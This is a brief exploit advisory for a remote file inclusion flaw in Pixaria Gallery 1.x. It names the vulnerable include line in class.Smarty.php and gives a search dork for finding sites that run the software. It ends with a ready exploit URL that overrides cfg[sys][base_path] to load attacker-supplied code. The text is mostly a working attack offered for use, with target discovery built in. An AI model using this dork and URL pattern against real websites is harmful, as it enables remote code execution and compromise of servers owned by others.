Pixaria Gallery 1.x (class.Smarty.php) Remote File Include Vulnerability

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# scripts            : Pixaria Gallery 1.x
# Discovered By : irvian
# scripts site      : http://pixaria.com/
# Thanks To       : #hitamputih  #nyubicrew  #patihack
# special To       : nyubi,ibnusina,arioo,jipank,kacung,trangkil,cah_gemblunkz
# dork                : powered by Pixaria. Gallery
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bug found:

/resources/includes/class.Smarty.php
// Load the main Smarty class
require_once ($cfg['sys']['base_path'] . "resources/smarty/libs/Smarty.class.php");


Exploit: http://www.target.com/resources/includes/class.Smarty.php?cfg[sys][base_path]=[evilcode]